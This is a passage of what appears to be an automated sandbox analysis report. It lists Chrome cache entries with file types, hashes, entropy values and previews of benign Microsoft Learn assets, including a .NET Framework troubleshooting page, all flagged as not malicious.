diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 92

Download File

